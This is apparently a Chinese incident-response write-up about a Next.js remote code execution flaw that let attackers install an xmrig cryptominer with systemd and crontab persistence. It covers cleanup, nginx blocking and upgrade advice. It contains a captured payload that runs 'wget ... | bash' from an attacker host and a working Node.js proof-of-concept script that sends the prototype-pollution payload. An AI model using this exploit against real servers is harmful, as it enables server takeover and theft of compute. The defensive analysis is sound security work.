[实战复盘] Next.js 远程代码执行 (RCE) 惊魂:从 PM2 异常日志到挖矿木马的攻防全记录
![[实战复盘] Next.js 远程代码执行 (RCE) 惊魂:从 PM2 异常日志到挖矿木马的攻防全记录](/_next/image?url=https%3A%2F%2Fdirectus-vps.aimazing.site%2Fassets%2F91c19cb1-b3b3-4171-a1d3-f15c28289425.png&w=2048&q=75)
关键词:Next.js, RCE, 挖矿木马, 应急响应, Web安全, 原型链污染,CVE-2025-66478,CVE-2025-55182
Nextjs 最新的漏洞 CVE-2025-66478,12月3日公布,此漏洞为致命漏洞,等级 10 分,可导致服务器被夺取 root 权限。
攻击的形式是向域名的根目录,Post 一段数据后,攻击者可以远程执行命令,服务器可自动下载并执行程序,导致服务器被夺权等多种灾难性后果。
应对办法,尽快升级到 nextjs 相应版本。
该漏洞已在以下已修复的 Next.js 版本中完全解决(非此版本号都存在可被攻击的漏洞):
- 15.0.5
- 15.1.9
- 15.2.6
- 15.3.6
- 15.4.8
- 15.5.7(意思是15.5.x 的版本都需要升级到这个版本)
- 15.6.0-canary.58
- 16.0.7
一切始于一次例行的服务器巡检。在检查 PM2 运行状态时,一条奇怪的错误日志引起了我的注意。
在项目的 PM2 错误日志中,出现了大量试图执行 Windows PowerShell 命令的报错,以及试图下载外部脚本的记录:
2|app | 2025-12-05 12:12:51: /bin/sh: line 1: powershell: command not found
2|app | 2025-12-05 12:12:50: --2025-12-05 12:08:22-- (try:19) http://216.158.xxx.xx:12000/sex.sh
2|app | 2025-12-05 12:12:50: Connecting to 216.158.xxx.xx:12000... failed: Connection timed out.
-
不仅仅是报错:日志显示服务器正在主动发起对外连接(
wget/curl),试图下载名为sex.sh或svchost(Linux下的ELF伪装文件)的恶意脚本。 -
RCE 确凿:虽然 Linux 没有 PowerShell 导致报错,且国内服务器因网络原因下载超时,但这证明攻击者已经成功在服务器上执行了任意命令。
-
代码困惑:排查业务代码,全项目没有使用
child_process.exec或spawn,也没有调用系统命令。这个命令是从哪里来的?
首先检查自己的代码后,发现编写的代码,并没有执行命令的入口;为了搞清楚如何执行的命令以及谁在偷偷执行命令,我在项目入口文件中植入了一段 Monkey Patch(猴子补丁) 代码,劫持了 Node.js 底层的 child_process.exec 方法,打印调用堆栈。
当攻击再次发生时,日志并没有捕捉到了关键信息,只是出现了这种日志:
2025-12-05 14:05:24: /bin/sh: line 1: powershell: command not found
并没有打印出来调用堆栈;
以攻击的时间点去 nginx 查找日志,刚好每次都能找到对应的 nginx 日志,比如这种
103.200.30.48 - - [05/Dec/2025:14:14:54 +0800] "POST / HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" "-"
103.200.30.48 - - [05/Dec/2025:14:14:57 +0800] "POST / HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" "-"
103.200.30.48 - - [05/Dec/2025:14:14:59 +0800] "POST / HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" "-"
45.83.126.12 - - [05/Dec/2025:14:16:03 +0800] "GET / HTTP/1.1" 200 69457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" "-"
以这个为起点去找 AI ,看看是否有类似的攻击方法,Post 一段数据到根目录,可以夺取服务器权限的漏洞, AI 找了 2024 年的漏洞,RCE 远程攻击。
可能的攻击方法:
-
攻击入口:攻击者向网站根目录
POST /发送了恶意的 Payload。 -
Next.js 机制利用:攻击者利用了 Next.js (Server Actions / Flight Protocol) 的解析机制,或者利用全局
body-parser造成的原型链污染。 -
RCE 触发:攻击者构造了一个带有恶意
then方法的对象(Thenable Object)。当 Next.js 内部尝试await这个对象时,恶意的then方法被执行,其中的eval代码(包含exec)随即触发。
捕获到的攻击 Payload (Next.js Flight 协议特征):
JSON
{
"then": "$1:__proto__:then",
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').exec('wget ... | bash')"
}
}
AI 根据提示,给出了攻击脚本,测试成功,pm2 log 的成功打印了相应的日志,echo RCE_FINAL_VICTORY_TEST,具体脚本如下:
const http = require('http');
// 1. 定义核心 Payload (只执行 echo,无害)
const payload = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then":"$B1337"}',
_response: {
// 这里是想要执行的命令
_prefix: "process.mainModule.require('child_process').exec('echo RCE_FINAL_VICTORY_TEST');",
_chunks: "$Q2",
_formData: { get: "$1:constructor:constructor" }
}
};
// 2. 手动构建 Multipart Body (模拟浏览器/攻击者行为)
// 注意:Next.js Flight 协议对换行符 \r\n 很敏感,这里手动拼接最稳妥
const boundary = "----WebKitFormBoundaryAttackTest";
const bodyParts = [
`--${boundary}`,
'Content-Disposition: form-data; name="1"',
'',
'"$@0"', // 注意这里的双引号,必须保留!这是导致你刚才报错的原因
`--${boundary}`,
'Content-Disposition: form-data; name="2"',
'',
'[]',
`--${boundary}`,
'Content-Disposition: form-data; name="0"',
'',
JSON.stringify(payload),
`--${boundary}--`,
''
].join('\r\n');
// 3. 发送请求
const options = {
hostname: '127.0.0.1',
port: 3000, // 直击后端端口,绕过 Nginx
path: '/',
method: 'POST',
headers: {
'Content-Type': `multipart/form-data; boundary=${boundary}`,
'Content-Length': Buffer.byteLength(bodyParts),
'Next-Action': 'any_string_works_here' // 触发 Action 逻辑
}
};
console.log('正在向 localhost:3000 发送攻击 Payload...');
const req = http.request(options, (res) => {
console.log(`服务器响应状态码: ${res.statusCode}`);
res.on('data', (d) => process.stdout.write(d));
});
req.on('error', (e) => {
console.error(`请求错误: ${e.message}`);
});
req.write(bodyParts);
req.end();
此次攻击波及了名下的多台服务器,结果截然不同。
-
状态:未沦陷。
-
原因:由于国内网络环境特殊,攻击者的下载源 IP (
216.158...) 无法连接或连接超时。 -
日志表现:
Connection timed out。虽然命令执行了,但病毒没拉下来,侥幸逃过一劫。
海外的5台服务器中,有2台完全沦陷。因为网络通畅,病毒脚本被成功下载并运行。
-
症状:CPU 占用率飙升,出现名为
xmrig的进程。 -
挖矿实锤:
Bash
/data/cv-ai/xmrig-6.24.0/xmrig --url pool.hashvault.pro:443 --user [黑客钱包地址] --pass next -
持久化后门:
在 PM2 日志中发现,应用进程创建了系统服务:
Created symlink /etc/systemd/system/multi-user.target.wants/system-update-service.service黑客将病毒伪装成
system-update-service,并设置为开机自启。
针对已沦陷的海外服务器,我执行了以下清洗步骤:
在 Nginx 层直接封禁针对根目录的 POST 请求,切断攻击者的 RCE 通道。
Nginx
log_format hacker_trap '$remote_addr - [$time_local] "$request" $status Body: "$request_body"';
# Nginx 配置
location = / {
# 如果是 POST 请求,记录并丢进黑洞
if ($request_method = POST) {
# 指定日志文件路径,并使用我们刚才定义的 hacker_trap 格式
access_log /var/log/nginx/hacker_attack.log hacker_trap;
# 关键点:转发给一个本地不存在的端口
# 这样 Nginx 会尝试读取 Body 用于转发,从而触发日志记录
proxy_pass http://127.0.0.1:9999;
break;
}
# 正常的 GET 请求继续走原来的路
proxy_pass http://127.0.0.1:3003;
# ... 其他 proxy header 配置 ...
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
攻击者的body 记录

病毒创建了 Systemd 服务来保活,必须优先清除。
Bash
# 1. 停止并禁用服务
systemctl stop system-update-service
systemctl disable system-update-service
# 2. 删除服务文件
rm /etc/systemd/system/system-update-service.service
systemctl daemon-reload
Bash
# 1. 杀掉挖矿进程
pkill -9 -f xmrig
# 2. 删除病毒文件(根据 service 文件内容定位)
rm -rf /data/cv-ai/xmrig-6.24.0/
rm -rf /usr/bin/sys-update # 及其指向的启动脚本
-
升级 Next.js:将项目依赖升级到修复了的最新版本,参看 Nextjs 官方公告,应该都是需要升级各自小版本的最新版才行,比如15.4.x,需要升级到 15.4.8.
-
清理依赖:移除不必要的
body-parser等可能导致原型链污染的库。 -
降权运行:这是最痛的教训。之前为了图省事,使用 root 用户运行 PM2。这导致黑客拿到 RCE 后直接拥有了 root 权限,可以随意创建系统服务。后续改为使用普通用户运行业务。
1. 检查 SSH 密钥(后门)
黑客拿到 RCE 后,往往会把自己的公钥写入你的 authorized_keys,这样他们就可以直接 SSH 连进来,不需要再利用漏洞。
查看文件:
Bash
cat ~/.ssh/authorized_keys
如果发现不认识的公钥(通常以 ssh-rsa 或 ssh-ed25519 开头,且末尾可能是乱码或陌生邮箱),必须立即删除!
2. 检查“复活”机制(守护进程/定时任务)
挖矿病毒通常会写定时任务,一旦你杀掉进程,过几秒钟它又会自动重启。 检查 Crontab:
crontab -l
如果看到任何包含 curl, wget, xmrig, base64 或者奇怪 IP 的行,使用 crontab -e 进去删掉。
检查 Systemd 服务: 有些高级病毒会把自己注册成系统服务。
systemctl list-units --type=service --state=running
看看有没有叫 c3pool, monero, miner 或者其他异常的服务。如果有:
systemctl stop [服务名]
systemctl disable [服务名]
rm /etc/systemd/system/[服务名].service
A: 现代 Web 开发大量依赖第三方框架(如 Next.js)。漏洞往往不出在你的业务代码,而在框架底层的序列化/反序列化机制中。攻击者利用特殊构造的数据(Payload),诱骗框架执行了恶意的 JavaScript 代码。
A: 这次攻击利用的是 Next.js 的 Server Actions 或内部路由机制,默认入口通常是当前页面的 POST 请求。由于我的首页 (/) 是纯展示页,不需要接收 POST 数据,因此直接在 Nginx 层拦截 POST 请求是最快、最高效的阻断方式。
更新:
攻击方式 Post / 是最简单的方式了,攻击者可能该换方式比如这种
85.11.167.3 - - [06/Dec/2025:07:20:26 +0800] "POST /_next/flight HTTP/1.1" 499 0 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0" "-"
提交数据到其他不存在的目录,也能完成攻击;尽快升级 nextjs 版本才行;
A:
-
看日志:PM2 或 Console 是否有
Connection timed out(下载失败) 或powershell(脚本报错) 的记录。主要看每个项目中 nextjs 的日志输出,不一定每个攻击者在攻击时都是这种表现,有些攻击者可能会先下载 vim,再做其他操作。 -
看进程:使用
top或ps -aux检查是否有xmrig,kdevtmpfsi,sys-update等高占用 CPU 的陌生进程。 -
看服务:检查
/etc/systemd/system/下是否有最近创建的可疑服务。
A:
-
最小权限原则:永远不要用 root 用户运行 Node.js 应用! 如果我这次用普通用户运行,黑客就无法创建 Systemd 服务,病毒重启后就会失效。
-
保持更新:关注 Next.js 等核心框架的安全公告,及时升级。
-
纵深防御:不要只依赖代码层面的防御。Nginx 的 WAF 规则(如禁止特定 User-Agent,限制请求方法)是极其重要的第一道防线。
A: 阿里云的告警短信,提醒服务器可能遭受了攻击,给出了可能的漏洞编号,查询 Nextjs 官方博客,发现了这个漏洞在多个 Nextjs 版本上出现。
A:
- 加入的 service,以保活,
Created symlink /etc/systemd/system/multi-user.target.wants/moneroocean_miner.service → /etc/systemd/system/moneroocean_miner.service.Created symlink /etc/systemd/system/multi-user.target.wants/system-update-service.service - 执行的命令: /root/.local/share/.r0qsv8h1/.394ly8v9/bin/node /root/.local/share/.r0qsv8h1/.fvq2lzl64e.js /root/c3pool
- 操作 crontab,比如加入这种:
@reboot sleep 30 && /root/.local/share/.r0qsv8h1/.394ly8v9/bin/node /root/.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 & - 使用 docker 挖矿
使用下载的 docker 挖矿,执行路径
/tmp/docker-daemon
A: 根据 cloudflare 公告,凡是使用 cloudflare 的免费计划已经默认启用了针对此漏洞的规则集,即免费计划的用户不需要操心,cloudflare 会自动阻止此攻击行为;
根据我查看 cloudflare 的安全事件记录,发现的确如此。

不过也需要小心,攻击手段已经发生了变化,比如 POST 数据到其他 url( /_next/flight),而不是 / 了。
收费计划的用户,需要手动去部署此规则集;